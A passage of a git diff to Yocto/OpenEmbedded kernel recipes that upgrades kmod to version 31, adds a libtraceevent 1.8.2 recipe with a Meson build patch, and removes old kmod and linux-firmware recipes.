+-GTK_DOC_CHECK([1.14],[--flavour no-tmpl-flat])
++GTK_DOC_CHECK([1.14],[--flavour no-tmpl-flat --docdir libkmod/docs])
+ ], [
+ AM_CONDITIONAL([ENABLE_GTK_DOC], false)])
+
+--
+2.34.1
+
diff --git a/meta/recipes-kernel/kmod/kmod/ptest.patch b/meta/recipes-kernel/kmod/kmod/ptest.patch
deleted file mode 100644
index 831dbcb909..0000000000
--- a/meta/recipes-kernel/kmod/kmod/ptest.patch
+++ /dev/null
@@ -1,25 +0,0 @@
-Add 'install-ptest' rule.
-
-Signed-off-by: Tudor Florea <tudor.florea@enea.com>
-Upstream-Status: Pending
-
-diff -ruN a/Makefile.am b/Makefile.am
---- a/Makefile.am 2013-07-12 17:11:05.278331557 +0200
-+++ b/Makefile.am 2013-07-12 17:14:27.033788016 +0200
-@@ -204,6 +204,16 @@
-
- distclean-local: $(DISTCLEAN_LOCAL_HOOKS)
-
-+install-ptest:
-+ @$(MKDIR_P) $(DESTDIR)/testsuite
-+ @for file in $(TESTSUITE); do \
-+ install $$file $(DESTDIR)/testsuite; \
-+ done;
-+ @sed -e 's/^Makefile/_Makefile/' < Makefile > $(DESTDIR)/Makefile
-+ @$(MKDIR_P) $(DESTDIR)/tools
-+ @cp $(noinst_SCRIPTS) $(noinst_PROGRAMS) $(DESTDIR)/tools
-+ @cp -r testsuite/rootfs testsuite/.libs $(DESTDIR)/testsuite
-+
- # ------------------------------------------------------------------------------
- # custom release helpers
- # ------------------------------------------------------------------------------
diff --git a/meta/recipes-kernel/kmod/kmod_31.bb b/meta/recipes-kernel/kmod/kmod_31.bb
new file mode 100644
index 0000000000..6ae83a7c66
--- /dev/null
+++ b/meta/recipes-kernel/kmod/kmod_31.bb
@@ -0,0 +1,89 @@
+# Copyright (C) 2012 Khem Raj <raj.khem@gmail.com>
+# Released under the MIT license (see COPYING.MIT for the terms)
+
+SUMMARY = "Tools for managing Linux kernel modules"
+DESCRIPTION = "kmod is a set of tools to handle common tasks with Linux kernel modules like \
+ insert, remove, list, check properties, resolve dependencies and aliases."
+HOMEPAGE = "http://kernel.org/pub/linux/utils/kernel/kmod/"
+LICENSE = "GPL-2.0-or-later & LGPL-2.1-or-later"
+LICENSE:libkmod = "LGPL-2.1-or-later"
+SECTION = "base"
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=a6f89e2100d9b6cdffcea4f398e37343 \
+ file://libkmod/COPYING;md5=a6f89e2100d9b6cdffcea4f398e37343 \
+ file://tools/COPYING;md5=751419260aa954499f7abaabaa882bbe \
+ "
+inherit autotools bash-completion gtk-doc pkgconfig manpages update-alternatives
+
+SRCREV = "aff617ea871d0568cc491bd116c0be1e857463bb"
+
+SRC_URI = "git://git.kernel.org/pub/scm/utils/kernel/kmod/kmod.git;branch=master;protocol=https \
+ file://depmod-search.conf \
+ file://avoid_parallel_tests.patch \
+ file://0001-Use-portable-implementation-for-basename-API.patch \
+ file://gtkdocdir.patch \
+ "
+
+S = "${WORKDIR}/git"
+
+EXTRA_OECONF += "--enable-tools"
+
+PACKAGECONFIG ??= "zlib xz openssl"
+PACKAGECONFIG[debug] = "--enable-debug,--disable-debug"
+PACKAGECONFIG[logging] = " --enable-logging,--disable-logging"
+PACKAGECONFIG[manpages] = "--enable-manpages, --disable-manpages, libxslt-native xmlto-native"
+PACKAGECONFIG[openssl] = "--with-openssl,--without-openssl,openssl"
+PACKAGECONFIG[xz] = "--with-xz,--without-xz,xz"
+PACKAGECONFIG[zlib] = "--with-zlib,--without-zlib,zlib"
+PACKAGECONFIG[zstd] = "--with-zstd,--without-zstd,zstd"
+
+PROVIDES += "module-init-tools-insmod-static module-init-tools-depmod module-init-tools"
+RPROVIDES:${PN} += "module-init-tools-insmod-static module-init-tools-depmod module-init-tools"
+RCONFLICTS:${PN} += "module-init-tools-insmod-static module-init-tools-depmod module-init-tools"
+RREPLACES:${PN} += "module-init-tools-insmod-static module-init-tools-depmod module-init-tools"
+
+# to force user to remove old module-init-tools and replace them with kmod variants
+RCONFLICTS:libkmod2 += "module-init-tools-insmod-static module-init-tools-depmod module-init-tools"
+
+# autotools set prefix to /usr, however we want them in /bin and /sbin
+EXTRA_OECONF += "--bindir=${base_bindir} --sbindir=${base_sbindir}"
+
+do_install:append () {
+ install -dm755 ${D}${base_bindir}
+ install -dm755 ${D}${base_sbindir}
+ # add symlinks to kmod
+ ln -rs ${D}${base_bindir}/kmod ${D}${base_bindir}/lsmod
+ for tool in insmod rmmod depmod modinfo modprobe; do
+ ln -rs ${D}${base_bindir}/kmod ${D}${base_sbindir}/${tool}
+ done
+ # configuration directories
+ install -dm755 ${D}${nonarch_base_libdir}/depmod.d
+ install -dm755 ${D}${nonarch_base_libdir}/modprobe.d
+ install -dm755 ${D}${sysconfdir}/depmod.d
+ install -dm755 ${D}${sysconfdir}/modprobe.d
+
+ # install depmod.d file for search/ dir
+ install -Dm644 "${WORKDIR}/depmod-search.conf" "${D}${nonarch_base_libdir}/depmod.d/search.conf"
+
+ # Add .debug to the exclude path for depmod
+ echo "exclude .debug" > ${D}${nonarch_base_libdir}/depmod.d/exclude.conf
+}
+
+ALTERNATIVE_PRIORITY = "70"
+
+ALTERNATIVE:kmod = "insmod modprobe rmmod modinfo bin-lsmod lsmod depmod"
+
+ALTERNATIVE_LINK_NAME[depmod] = "${base_sbindir}/depmod"
+ALTERNATIVE_LINK_NAME[insmod] = "${base_sbindir}/insmod"
+ALTERNATIVE_LINK_NAME[modprobe] = "${base_sbindir}/modprobe"
+ALTERNATIVE_LINK_NAME[rmmod] = "${base_sbindir}/rmmod"
+ALTERNATIVE_LINK_NAME[modinfo] = "${base_sbindir}/modinfo"
+ALTERNATIVE_LINK_NAME[bin-lsmod] = "${base_bindir}/lsmod"
+ALTERNATIVE_LINK_NAME[lsmod] = "${base_sbindir}/lsmod"
+ALTERNATIVE_TARGET[lsmod] = "${base_bindir}/lsmod.${BPN}"
+
+PACKAGES =+ "libkmod"
+FILES:libkmod = "${base_libdir}/libkmod*${SOLIBS} ${libdir}/libkmod*${SOLIBS}"
+FILES:${PN} += "${nonarch_base_libdir}/depmod.d ${nonarch_base_libdir}/modprobe.d"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-kernel/kmod/kmod_git.bb b/meta/recipes-kernel/kmod/kmod_git.bb
deleted file mode 100644
index 4f2b037f2f..0000000000
--- a/meta/recipes-kernel/kmod/kmod_git.bb
+++ /dev/null
@@ -1,62 +0,0 @@
-# Copyright (C) 2012 Khem Raj <raj.khem@gmail.com>
-# Released under the MIT license (see COPYING.MIT for the terms)
-
-require kmod.inc
-
-DEPENDS += "zlib"
-PROVIDES += "module-init-tools-insmod-static module-init-tools-depmod module-init-tools"
-RPROVIDES_${PN} += "module-init-tools-insmod-static module-init-tools-depmod module-init-tools"
-RCONFLICTS_${PN} += "module-init-tools-insmod-static module-init-tools-depmod module-init-tools"
-RREPLACES_${PN} += "module-init-tools-insmod-static module-init-tools-depmod module-init-tools"
-
-# to force user to remove old module-init-tools and replace them with kmod variants
-RCONFLICTS_libkmod2 += "module-init-tools-insmod-static module-init-tools-depmod module-init-tools"
-
-# autotools set prefix to /usr, however we want them in /bin and /sbin
-EXTRA_OECONF += " --bindir=${base_bindir} --sbindir=${base_sbindir}"
-
-do_install_append () {
- install -dm755 ${D}${base_bindir}
- install -dm755 ${D}${base_sbindir}
- # add symlinks to kmod
- lnr ${D}${base_bindir}/kmod ${D}${base_bindir}/lsmod
- for tool in insmod rmmod depmod modinfo modprobe; do
- lnr ${D}${base_bindir}/kmod ${D}${base_sbindir}/${tool}
- done
- # configuration directories
- install -dm755 ${D}${base_libdir}/depmod.d
- install -dm755 ${D}${base_libdir}/modprobe.d
- install -dm755 ${D}${sysconfdir}/depmod.d
- install -dm755 ${D}${sysconfdir}/modprobe.d
-
- # install depmod.d file for search/ dir
- install -Dm644 "${WORKDIR}/depmod-search.conf" "${D}${base_libdir}/depmod.d/search.conf"
-}
-
-do_compile_prepend() {
- sed -i 's/ac_pwd=/#ac_pwd=/' config.status ; sed -i "/#ac_pwd=/a\ac_pwd='.'" config.status
-}
-
-inherit update-alternatives bash-completion
-
-ALTERNATIVE_PRIORITY = "70"
-
-ALTERNATIVE_kmod = "insmod modprobe rmmod modinfo bin-lsmod lsmod depmod"
-
-ALTERNATIVE_LINK_NAME[insmod] = "${base_sbindir}/insmod"
-ALTERNATIVE_LINK_NAME[modprobe] = "${base_sbindir}/modprobe"
-ALTERNATIVE_LINK_NAME[rmmod] = "${base_sbindir}/rmmod"
-ALTERNATIVE_LINK_NAME[modinfo] = "${base_sbindir}/modinfo"
-ALTERNATIVE_LINK_NAME[bin-lsmod] = "${base_bindir}/lsmod"
-
-ALTERNATIVE_LINK_NAME[lsmod] = "${base_sbindir}/lsmod"
-ALTERNATIVE_TARGET[lsmod] = "${base_bindir}/lsmod.${BPN}"
-
-ALTERNATIVE_LINK_NAME[depmod] = "${base_sbindir}/depmod"
-
-PACKAGES =+ "libkmod"
-
-FILES_libkmod = "${base_libdir}/libkmod*${SOLIBS} ${libdir}/libkmod*${SOLIBS}"
-FILES_${PN} += "${base_libdir}/depmod.d ${base_libdir}/modprobe.d"
-
-BBCLASSEXTEND = "nativesdk"
diff --git a/meta/recipes-kernel/libtraceevent/libtraceevent/meson.patch b/meta/recipes-kernel/libtraceevent/libtraceevent/meson.patch
new file mode 100644
index 0000000000..0c21b2347a
--- /dev/null
+++ b/meta/recipes-kernel/libtraceevent/libtraceevent/meson.patch
@@ -0,0 +1,45 @@
+From 7f88c9ba5f27276e844252500a9f0ba2b350b919 Mon Sep 17 00:00:00 2001
+From: Ross Burton <ross.burton@arm.com>
+Date: Sun, 27 Aug 2023 20:57:44 +0100
+Subject: [PATCH] Fixes for the Meson build of libtraceevent:
+
+- Make the plugin directory the same as the Makefiles
+- Install the plugins as modules not static and versioned shared libraries
+
+Upstream-Status: Pending
+Signed-off-by: Ross Burton <ross.burton@arm.com>
+---
+ meson.build | 2 +-
+ plugins/meson.build | 3 +--
+ 2 files changed, 2 insertions(+), 3 deletions(-)
+
+diff --git a/meson.build b/meson.build
+index 40ce38c..1eb7912 100644
+--- a/meson.build
++++ b/meson.build
+@@ -25,7 +25,7 @@ htmldir = join_paths(prefixdir, get_option('htmldir'))
+ libdir = join_paths(prefixdir, get_option('libdir'))
+ plugindir = get_option('plugindir')
+ if plugindir == ''
+- plugindir = join_paths(libdir, 'libtraceevent/plugins')
++ plugindir = join_paths(libdir, 'traceevent/plugins')
+ endif
+
+ add_project_arguments(
+diff --git a/plugins/meson.build b/plugins/meson.build
+index 74ad664..4919be4 100644
+--- a/plugins/meson.build
++++ b/plugins/meson.build
+@@ -19,11 +19,10 @@ plugins = [
+
+ pdeps = []
+ foreach plugin : plugins
+- pdeps += library(
++ pdeps += shared_module(
+ plugin.replace('.c', ''),
+ plugin,
+ name_prefix: '',
+- version: library_version,
+ dependencies: [libtraceevent_dep],
+ include_directories: [incdir],
+ install: true,
diff --git a/meta/recipes-kernel/libtraceevent/libtraceevent_1.8.2.bb b/meta/recipes-kernel/libtraceevent/libtraceevent_1.8.2.bb
new file mode 100644
index 0000000000..d4ace54884
--- /dev/null
+++ b/meta/recipes-kernel/libtraceevent/libtraceevent_1.8.2.bb
@@ -0,0 +1,23 @@
+# Copyright (C) 2022 Khem Raj <raj.khem@gmail.com>
+# Released under the MIT license (see COPYING.MIT for the terms)
+
+SUMMARY = "API to access the kernel tracefs directory"
+HOMEPAGE = "https://git.kernel.org/pub/scm/libs/libtrace/libtracefs.git/"
+LICENSE = "GPL-2.0-or-later & LGPL-2.1-or-later"
+LIC_FILES_CHKSUM = "file://LICENSES/GPL-2.0;md5=e6a75371ba4d16749254a51215d13f97 \
+ file://LICENSES/LGPL-2.1;md5=b370887980db5dd40659b50909238dbd"
+SECTION = "libs"
+
+SRCREV = "6f6d5802f31992e7527a4c32b43a32fda6bf6bdf"
+SRC_URI = "git://git.kernel.org/pub/scm/libs/libtrace/libtraceevent.git;branch=${BPN};protocol=https \
+ file://meson.patch"
+
+S = "${WORKDIR}/git"
+
+inherit meson pkgconfig
+
+EXTRA_OEMESON = "-Ddoc=false"
+
+PACKAGES += "${PN}-plugins"
+
+FILES:${PN}-plugins += "${libdir}/traceevent/plugins"
diff --git a/meta/recipes-kernel/linux-firmware/linux-firmware_20200619.bb b/meta/recipes-kernel/linux-firmware/linux-firmware_20200619.bb
deleted file mode 100644
index bf25ff8b70..0000000000
--- a/meta/recipes-kernel/linux-firmware/linux-firmware_20200619.bb
+++ /dev/null
@@ -1,951 +0,0 @@
-SUMMARY = "Firmware files for use with Linux kernel"
-SECTION = "kernel"
-
-LICENSE = "\
- Firmware-Abilis \
- & Firmware-adsp_sst \
- & Firmware-agere \
- & Firmware-amdgpu \
- & Firmware-amd-ucode \
- & Firmware-amlogic_vdec \
- & Firmware-atheros_firmware \
- & Firmware-atmel \
- & Firmware-broadcom_bcm43xx \
- & Firmware-ca0132 \
- & Firmware-cavium \
- & Firmware-chelsio_firmware \
- & Firmware-cw1200 \
- & Firmware-cypress \
- & Firmware-dib0700 \
- & Firmware-e100 \
- & Firmware-ene_firmware \
- & Firmware-fw_sst_0f28 \
- & Firmware-go7007 \
- & Firmware-GPLv2 \
- & Firmware-hfi1_firmware \
- & Firmware-i2400m \
- & Firmware-i915 \
- & Firmware-ibt_firmware \
- & Firmware-ice \
- & Firmware-it913x \
- & Firmware-iwlwifi_firmware \
- & Firmware-IntcSST2 \
- & Firmware-kaweth \
- & Firmware-Marvell \
- & Firmware-moxa \
- & Firmware-myri10ge_firmware \
- & Firmware-netronome \
- & Firmware-nvidia \
- & Firmware-OLPC \
- & Firmware-ath9k-htc \
- & Firmware-phanfw \
- & Firmware-qat \
- & Firmware-qcom \
- & Firmware-qla1280 \
- & Firmware-qla2xxx \
- & Firmware-qualcommAthos_ar3k \
- & Firmware-qualcommAthos_ath10k \
- & Firmware-r8a779x_usb3 \
- & Firmware-radeon \
- & Firmware-ralink_a_mediatek_company_firmware \
- & Firmware-ralink-firmware \
- & Firmware-rtlwifi_firmware \
- & Firmware-imx-sdma_firmware \
- & Firmware-siano \
- & Firmware-tda7706-firmware \
- & Firmware-ti-connectivity \
- & Firmware-ti-keystone \
- & Firmware-ueagle-atm4-firmware \
- & Firmware-via_vt6656 \
- & Firmware-wl1251 \
- & Firmware-xc4000 \
- & Firmware-xc5000 \
- & Firmware-xc5000c \
- & WHENCE \
-"
-
-LIC_FILES_CHKSUM = "file://LICENCE.Abilis;md5=b5ee3f410780e56711ad48eadc22b8bc \
- file://LICENCE.adsp_sst;md5=615c45b91a5a4a9fe046d6ab9a2df728 \
- file://LICENCE.agere;md5=af0133de6b4a9b2522defd5f188afd31 \
- file://LICENSE.amdgpu;md5=d357524f5099e2a3db3c1838921c593f \
- file://LICENSE.amd-ucode;md5=3c5399dc9148d7f0e1f41e34b69cf14f \
- file://LICENSE.amlogic_vdec;md5=dc44f59bf64a81643e500ad3f39a468a \
- file://LICENCE.atheros_firmware;md5=30a14c7823beedac9fa39c64fdd01a13 \
- file://LICENSE.atmel;md5=aa74ac0c60595dee4d4e239107ea77a3 \
- file://LICENCE.broadcom_bcm43xx;md5=3160c14df7228891b868060e1951dfbc \
- file://LICENCE.ca0132;md5=209b33e66ee5be0461f13d31da392198 \
- file://LICENCE.cadence;md5=009f46816f6956cfb75ede13d3e1cee0 \
- file://LICENCE.cavium;md5=c37aaffb1ebe5939b2580d073a95daea \
- file://LICENCE.chelsio_firmware;md5=819aa8c3fa453f1b258ed8d168a9d903 \
- file://LICENCE.cw1200;md5=f0f770864e7a8444a5c5aa9d12a3a7ed \
- file://LICENCE.cypress;md5=48cd9436c763bf873961f9ed7b5c147b \
- file://LICENSE.dib0700;md5=f7411825c8a555a1a3e5eab9ca773431 \
- file://LICENCE.e100;md5=ec0f84136766df159a3ae6d02acdf5a8 \
- file://LICENCE.ene_firmware;md5=ed67f0f62f8f798130c296720b7d3921 \
- file://LICENCE.fw_sst_0f28;md5=6353931c988ad52818ae733ac61cd293 \
- file://LICENCE.go7007;md5=c0bb9f6aaaba55b0529ee9b30aa66beb \
- file://GPL-2;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
- file://LICENSE.hfi1_firmware;md5=5e7b6e586ce7339d12689e49931ad444 \
- file://LICENCE.i2400m;md5=14b901969e23c41881327c0d9e4b7d36 \
- file://LICENSE.i915;md5=2b0b2e0d20984affd4490ba2cba02570 \
- file://LICENCE.ibt_firmware;md5=fdbee1ddfe0fb7ab0b2fcd6b454a366b \
- file://LICENSE.ice;md5=742ab4850f2670792940e6d15c974b2f \
- file://LICENCE.IntcSST2;md5=9e7d8bea77612d7cc7d9e9b54b623062 \
- file://LICENCE.it913x;md5=1fbf727bfb6a949810c4dbfa7e6ce4f8 \
- file://LICENCE.iwlwifi_firmware;md5=3fd842911ea93c29cd32679aa23e1c88 \
- file://LICENCE.kaweth;md5=b1d876e562f4b3b8d391ad8395dfe03f \
- file://LICENCE.Marvell;md5=28b6ed8bd04ba105af6e4dcd6e997772 \
- file://LICENCE.mediatek;md5=7c1976b63217d76ce47d0a11d8a79cf2 \
- file://LICENCE.moxa;md5=1086614767d8ccf744a923289d3d4261 \
- file://LICENCE.myri10ge_firmware;md5=42e32fb89f6b959ca222e25ac8df8fed \
- file://LICENCE.Netronome;md5=4add08f2577086d44447996503cddf5f \
- file://LICENCE.nvidia;md5=4428a922ed3ba2ceec95f076a488ce07 \
- file://LICENCE.NXP;md5=58bb8ba632cd729b9ba6183bc6aed36f \
- file://LICENCE.OLPC;md5=5b917f9d8c061991be4f6f5f108719cd \
- file://LICENCE.open-ath9k-htc-firmware;md5=1b33c9f4d17bc4d457bdb23727046837 \
- file://LICENCE.phanfw;md5=954dcec0e051f9409812b561ea743bfa \
- file://LICENCE.qat_firmware;md5=9e7d8bea77612d7cc7d9e9b54b623062 \
- file://LICENSE.qcom;md5=164e3362a538eb11d3ac51e8e134294b \
- file://LICENCE.qla1280;md5=d6895732e622d950609093223a2c4f5d \
- file://LICENCE.qla2xxx;md5=505855e921b75f1be4a437ad9b79dff0 \
- file://LICENSE.QualcommAtheros_ar3k;md5=b5fe244fb2b532311de1472a3bc06da5 \
- file://LICENSE.QualcommAtheros_ath10k;md5=cb42b686ee5f5cb890275e4321db60a8 \
- file://LICENCE.r8a779x_usb3;md5=4c1671656153025d7076105a5da7e498 \
- file://LICENSE.radeon;md5=68ec28bacb3613200bca44f404c69b16 \
- file://LICENCE.ralink_a_mediatek_company_firmware;md5=728f1a85fd53fd67fa8d7afb080bc435 \
- file://LICENCE.ralink-firmware.txt;md5=ab2c269277c45476fb449673911a2dfd \
- file://LICENCE.rtlwifi_firmware.txt;md5=00d06cfd3eddd5a2698948ead2ad54a5 \
- file://LICENSE.sdma_firmware;md5=51e8c19ecc2270f4b8ea30341ad63ce9 \
- file://LICENCE.siano;md5=4556c1bf830067f12ca151ad953ec2a5 \
- file://LICENCE.tda7706-firmware.txt;md5=835997cf5e3c131d0dddd695c7d9103e \
- file://LICENCE.ti-connectivity;md5=c5e02be633f1499c109d1652514d85ec \
- file://LICENCE.ti-keystone;md5=3a86335d32864b0bef996bee26cc0f2c \
- file://LICENCE.ueagle-atm4-firmware;md5=4ed7ea6b507ccc583b9d594417714118 \
- file://LICENCE.via_vt6656;md5=e4159694cba42d4377a912e78a6e850f \
- file://LICENCE.wl1251;md5=ad3f81922bb9e197014bb187289d3b5b \
- file://LICENCE.xc4000;md5=0ff51d2dc49fce04814c9155081092f0 \
- file://LICENCE.xc5000;md5=1e170c13175323c32c7f4d0998d53f66 \
- file://LICENCE.xc5000c;md5=12b02efa3049db65d524aeb418dd87ca \
- file://WHENCE;md5=d373d30188c38dabffec0d3cc87abbfd \
- "
-
-# These are not common licenses, set NO_GENERIC_LICENSE for them
-# so that the license files will be copied from fetched source
-NO_GENERIC_LICENSE[Firmware-Abilis] = "LICENCE.Abilis"
-NO_GENERIC_LICENSE[Firmware-adsp_sst] = "LICENCE.adsp_sst"
-NO_GENERIC_LICENSE[Firmware-agere] = "LICENCE.agere"
-NO_GENERIC_LICENSE[Firmware-amdgpu] = "LICENSE.amdgpu"
-NO_GENERIC_LICENSE[Firmware-amd-ucode] = "LICENSE.amd-ucode"
-NO_GENERIC_LICENSE[Firmware-amlogic_vdec] = "LICENSE.amlogic_vdec"
-NO_GENERIC_LICENSE[Firmware-atheros_firmware] = "LICENCE.atheros_firmware"
-NO_GENERIC_LICENSE[Firmware-atmel] = "LICENSE.atmel"
-NO_GENERIC_LICENSE[Firmware-broadcom_bcm43xx] = "LICENCE.broadcom_bcm43xx"
-NO_GENERIC_LICENSE[Firmware-ca0132] = "LICENCE.ca0132"
-NO_GENERIC_LICENSE[Firmware-cadence] = "LICENCE.cadence"
-NO_GENERIC_LICENSE[Firmware-cavium] = "LICENCE.cavium"
-NO_GENERIC_LICENSE[Firmware-chelsio_firmware] = "LICENCE.chelsio_firmware"
-NO_GENERIC_LICENSE[Firmware-cw1200] = "LICENCE.cw1200"
-NO_GENERIC_LICENSE[Firmware-cypress] = "LICENCE.cypress"
-NO_GENERIC_LICENSE[Firmware-dib0700] = "LICENSE.dib0700"
-NO_GENERIC_LICENSE[Firmware-e100] = "LICENCE.e100"
-NO_GENERIC_LICENSE[Firmware-ene_firmware] = "LICENCE.ene_firmware"
-NO_GENERIC_LICENSE[Firmware-fw_sst_0f28] = "LICENCE.fw_sst_0f28"
-NO_GENERIC_LICENSE[Firmware-go7007] = "LICENCE.go7007"
-NO_GENERIC_LICENSE[Firmware-GPLv2] = "GPL-2"
-NO_GENERIC_LICENSE[Firmware-hfi1_firmware] = "LICENSE.hfi1_firmware"
-NO_GENERIC_LICENSE[Firmware-i2400m] = "LICENCE.i2400m"
-NO_GENERIC_LICENSE[Firmware-i915] = "LICENSE.i915"
-NO_GENERIC_LICENSE[Firmware-ibt_firmware] = "LICENCE.ibt_firmware"
-NO_GENERIC_LICENSE[Firmware-ice] = "LICENSE.ice"
-NO_GENERIC_LICENSE[Firmware-IntcSST2] = "LICENCE.IntcSST2"
-NO_GENERIC_LICENSE[Firmware-it913x] = "LICENCE.it913x"
-NO_GENERIC_LICENSE[Firmware-iwlwifi_firmware] = "LICENCE.iwlwifi_firmware"
-NO_GENERIC_LICENSE[Firmware-kaweth] = "LICENCE.kaweth"
-NO_GENERIC_LICENSE[Firmware-Marvell] = "LICENCE.Marvell"
-NO_GENERIC_LICENSE[Firmware-mediatek] = "LICENCE.mediatek"
-NO_GENERIC_LICENSE[Firmware-moxa] = "LICENCE.moxa"
-NO_GENERIC_LICENSE[Firmware-myri10ge_firmware] = "LICENCE.myri10ge_firmware"
-NO_GENERIC_LICENSE[Firmware-netronome] = "LICENCE.Netronome"
-NO_GENERIC_LICENSE[Firmware-nvidia] = "LICENCE.nvidia"
-NO_GENERIC_LICENSE[Firmware-OLPC] = "LICENCE.OLPC"
-NO_GENERIC_LICENSE[Firmware-ath9k-htc] = "LICENCE.open-ath9k-htc-firmware"
-NO_GENERIC_LICENSE[Firmware-phanfw] = "LICENCE.phanfw"
-NO_GENERIC_LICENSE[Firmware-qat] = "LICENCE.qat_firmware"
-NO_GENERIC_LICENSE[Firmware-qcom] = "LICENSE.qcom"
-NO_GENERIC_LICENSE[Firmware-qla1280] = "LICENCE.qla1280"
-NO_GENERIC_LICENSE[Firmware-qla2xxx] = "LICENCE.qla2xxx"
-NO_GENERIC_LICENSE[Firmware-qualcommAthos_ar3k] = "LICENSE.QualcommAtheros_ar3k"
-NO_GENERIC_LICENSE[Firmware-qualcommAthos_ath10k] = "LICENSE.QualcommAtheros_ath10k"
-NO_GENERIC_LICENSE[Firmware-r8a779x_usb3] = "LICENCE.r8a779x_usb3"
-NO_GENERIC_LICENSE[Firmware-radeon] = "LICENSE.radeon"
-NO_GENERIC_LICENSE[Firmware-ralink_a_mediatek_company_firmware] = "LICENCE.ralink_a_mediatek_company_firmware"
-NO_GENERIC_LICENSE[Firmware-ralink-firmware] = "LICENCE.ralink-firmware.txt"
-NO_GENERIC_LICENSE[Firmware-rtlwifi_firmware] = "LICENCE.rtlwifi_firmware.txt"
-NO_GENERIC_LICENSE[Firmware-siano] = "LICENCE.siano"
-NO_GENERIC_LICENSE[Firmware-imx-sdma_firmware] = "LICENSE.sdma_firmware"
-NO_GENERIC_LICENSE[Firmware-tda7706-firmware] = "LICENCE.tda7706-firmware.txt"
-NO_GENERIC_LICENSE[Firmware-ti-connectivity] = "LICENCE.ti-connectivity"
-NO_GENERIC_LICENSE[Firmware-ti-keystone] = "LICENCE.ti-keystone"
-NO_GENERIC_LICENSE[Firmware-ueagle-atm4-firmware] = "LICENCE.ueagle-atm4-firmware"
-NO_GENERIC_LICENSE[Firmware-via_vt6656] = "LICENCE.via_vt6656"
-NO_GENERIC_LICENSE[Firmware-wl1251] = "LICENCE.wl1251"
-NO_GENERIC_LICENSE[Firmware-xc4000] = "LICENCE.xc4000"
-NO_GENERIC_LICENSE[Firmware-xc5000] = "LICENCE.xc5000"
-NO_GENERIC_LICENSE[Firmware-xc5000c] = "LICENCE.xc5000c"
-NO_GENERIC_LICENSE[WHENCE] = "WHENCE"
-
-PE = "1"
-
-SRC_URI = "${KERNELORG_MIRROR}/linux/kernel/firmware/${BPN}-${PV}.tar.xz"
-
-SRC_URI[sha256sum] = "962d3ae197d226c8259f9cc7746f7ef12a9d23787cd56bd27302021ba6339722"
-
-inherit allarch
-
-CLEANBROKEN = "1"
-
-do_compile() {
- :
-}
-
-do_install() {
- oe_runmake 'DESTDIR=${D}' 'FIRMWAREDIR=${nonarch_base_libdir}/firmware' install
- cp GPL-2 LICEN[CS]E.* WHENCE ${D}${nonarch_base_libdir}/firmware/
-}
-
-
-PACKAGES =+ "${PN}-ralink-license ${PN}-ralink \
- ${PN}-mt7601u-license ${PN}-mt7601u \
- ${PN}-radeon-license ${PN}-radeon \
- ${PN}-marvell-license ${PN}-pcie8897 ${PN}-pcie8997 \
- ${PN}-sd8686 ${PN}-sd8688 ${PN}-sd8787 ${PN}-sd8797 ${PN}-sd8801 ${PN}-sd8887 ${PN}-sd8897 \
- ${PN}-usb8997 \
- ${PN}-ti-connectivity-license ${PN}-wlcommon ${PN}-wl12xx ${PN}-wl18xx \
- ${PN}-vt6656-license ${PN}-vt6656 \
- ${PN}-rtl-license ${PN}-rtl8188 ${PN}-rtl8192cu ${PN}-rtl8192ce ${PN}-rtl8192su ${PN}-rtl8723 ${PN}-rtl8821 \
- ${PN}-rtl8168 \
- ${PN}-cypress-license \
- ${PN}-broadcom-license \
- ${PN}-bcm-0bb4-0306 \
- ${PN}-bcm43143 \
- ${PN}-bcm43236b \
- ${PN}-bcm43241b0 \
- ${PN}-bcm43241b4 \
- ${PN}-bcm43241b5 \
- ${PN}-bcm43242a \
- ${PN}-bcm4329 \
- ${PN}-bcm4329-fullmac \
- ${PN}-bcm4330 \
- ${PN}-bcm4334 \
- ${PN}-bcm43340 \
- ${PN}-bcm4335 \
- ${PN}-bcm43362 \
- ${PN}-bcm4339 \
- ${PN}-bcm43430 \
- ${PN}-bcm43430a0 \
- ${PN}-bcm43455 \
- ${PN}-bcm4350 \
- ${PN}-bcm4350c2 \
- ${PN}-bcm4354 \
- ${PN}-bcm4356 \
- ${PN}-bcm4356-pcie \
- ${PN}-bcm43569 \
- ${PN}-bcm43570 \
- ${PN}-bcm4358 \
- ${PN}-bcm43602 \
- ${PN}-bcm4366b \
- ${PN}-bcm4366c \
- ${PN}-bcm4371 \
- ${PN}-bcm4373 \
- ${PN}-bcm43xx \
- ${PN}-bcm43xx-hdr \
- ${PN}-atheros-license ${PN}-ar9170 ${PN}-ath6k ${PN}-ath9k \
- ${PN}-gplv2-license ${PN}-carl9170 \
- ${PN}-ar3k-license ${PN}-ar3k ${PN}-ath10k-license ${PN}-ath10k ${PN}-qca \
- \
- ${PN}-imx-sdma-license ${PN}-imx-sdma-imx6q ${PN}-imx-sdma-imx7d \
- \
- ${PN}-iwlwifi-license ${PN}-iwlwifi \
- ${PN}-iwlwifi-135-6 \
- ${PN}-iwlwifi-3160-7 ${PN}-iwlwifi-3160-8 ${PN}-iwlwifi-3160-9 \
- ${PN}-iwlwifi-3160-10 ${PN}-iwlwifi-3160-12 ${PN}-iwlwifi-3160-13 \
- ${PN}-iwlwifi-3160-16 ${PN}-iwlwifi-3160-17 \
- ${PN}-iwlwifi-6000-4 ${PN}-iwlwifi-6000g2a-5 ${PN}-iwlwifi-6000g2a-6 \
- ${PN}-iwlwifi-6000g2b-5 ${PN}-iwlwifi-6000g2b-6 \
- ${PN}-iwlwifi-6050-4 ${PN}-iwlwifi-6050-5 \
- ${PN}-iwlwifi-7260 \
- ${PN}-iwlwifi-7265 \
- ${PN}-iwlwifi-7265d ${PN}-iwlwifi-8000c ${PN}-iwlwifi-8265 \
- ${PN}-iwlwifi-9000 \
- ${PN}-iwlwifi-misc \
- ${PN}-ibt-license ${PN}-ibt \
- ${PN}-ibt-11-5 ${PN}-ibt-12-16 ${PN}-ibt-hw-37-7 ${PN}-ibt-hw-37-8 \
- ${PN}-ibt-17 \
- ${PN}-ibt-20 \
- ${PN}-ibt-misc \
- ${PN}-i915-license ${PN}-i915 \
- ${PN}-ice-license ${PN}-ice \
- ${PN}-adsp-sst-license ${PN}-adsp-sst \
- ${PN}-bnx2-mips \
- ${PN}-liquidio \
- ${PN}-netronome-license ${PN}-netronome \
- ${PN}-qat ${PN}-qat-license \
- ${PN}-qcom-license \
- ${PN}-qcom-venus-1.8 ${PN}-qcom-venus-4.2 \
